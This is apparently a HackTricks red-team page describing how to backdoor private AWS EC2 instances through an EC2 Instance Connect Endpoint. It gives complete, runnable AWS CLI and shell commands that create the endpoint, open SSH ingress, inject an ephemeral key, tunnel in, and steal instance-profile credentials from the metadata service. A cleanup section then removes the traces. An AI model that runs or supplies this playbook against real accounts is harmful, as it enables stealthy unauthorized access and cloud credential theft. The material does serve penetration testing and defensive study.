AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

Reading time: 4 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Abuse EC2 Instance Connect Endpoint (EIC Endpoint) to gain inbound SSH access to private EC2 instances (no public IP/bastion) by:

  • Creating an EIC Endpoint inside the target subnet
  • Allowing inbound SSH on the target SG from the EIC Endpoint SG
  • Injecting a short‑lived SSH public key (valid ~60 seconds) with ec2-instance-connect:SendSSHPublicKey
  • Opening an EIC tunnel and pivoting to the instance to steal instance profile credentials from IMDS

Impact: stealthy remote access path into private EC2 instances that bypasses bastions and public IP restrictions. The attacker can assume the instance profile and operate in the account.

Requirements

  • Permissions to:
    • ec2:CreateInstanceConnectEndpoint, ec2:Describe*, ec2:AuthorizeSecurityGroupIngress
    • ec2-instance-connect:SendSSHPublicKey, ec2-instance-connect:OpenTunnel
  • Target Linux instance with SSH server and EC2 Instance Connect enabled (Amazon Linux 2 or Ubuntu 20.04+). Default users: ec2-user (AL2) or ubuntu (Ubuntu).

Variables

bash
export REGION=us-east-1
export INSTANCE_ID=<i-xxxxxxxxxxxx>
export SUBNET_ID=<subnet-xxxxxxxx>
export VPC_ID=<vpc-xxxxxxxx>
export TARGET_SG_ID=<sg-of-target-instance>
export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
export OS_USER=ec2-user

Create EIC Endpoint

bash
aws ec2 create-instance-connect-endpoint \
  --subnet-id "$SUBNET_ID" \
  --security-group-ids "$ENDPOINT_SG_ID" \
  --tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
  --region "$REGION" \
  --query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID

# Wait until ready
while true; do
  aws ec2 describe-instance-connect-endpoints \
    --instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
    --query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
  grep -q 'create-complete' EIC_STATE && break
  sleep 5
done

Allow traffic from EIC Endpoint to target instance

bash
aws ec2 authorize-security-group-ingress \
  --group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
  --source-group "$ENDPOINT_SG_ID" --region "$REGION" || true

Inject ephemeral SSH key and open tunnel

bash
# Generate throwaway key
ssh-keygen -t ed25519 -f /tmp/eic -N ''

# Send short-lived SSH pubkey (valid ~60s)
aws ec2-instance-connect send-ssh-public-key \
  --instance-id "$INSTANCE_ID" \
  --instance-os-user "$OS_USER" \
  --ssh-public-key file:///tmp/eic.pub \
  --region "$REGION"

# Open a local tunnel to instance:22 via the EIC Endpoint
aws ec2-instance-connect open-tunnel \
  --instance-id "$INSTANCE_ID" \
  --instance-connect-endpoint-id "$(cat EIC_ID)" \
  --local-port 2222 --remote-port 22 --region "$REGION" &
TUN_PID=$!; sleep 2

# SSH via the tunnel (within the 60s window)
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no

Post-exploitation proof (steal instance profile credentials)

bash
# From the shell inside the instance
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)

Example output (truncated):

json
{
  "Code": "Success",
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "w0G...",
  "Token": "IQoJ...",
  "Expiration": "2025-10-08T04:09:52Z"
}

Use the stolen creds locally to verify identity:

bash
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity --region "$REGION"
# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>

Cleanup

bash
# Revoke SG ingress on the target
aws ec2 revoke-security-group-ingress \
  --group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
  --source-group "$ENDPOINT_SG_ID" --region "$REGION" || true

# Delete EIC Endpoint
aws ec2 delete-instance-connect-endpoint \
  --instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"

Notes

  • The injected SSH key is only valid for ~60 seconds; send the key right before opening the tunnel/SSH.
  • OS_USER must match the AMI (e.g., ubuntu for Ubuntu, ec2-user for Amazon Linux 2).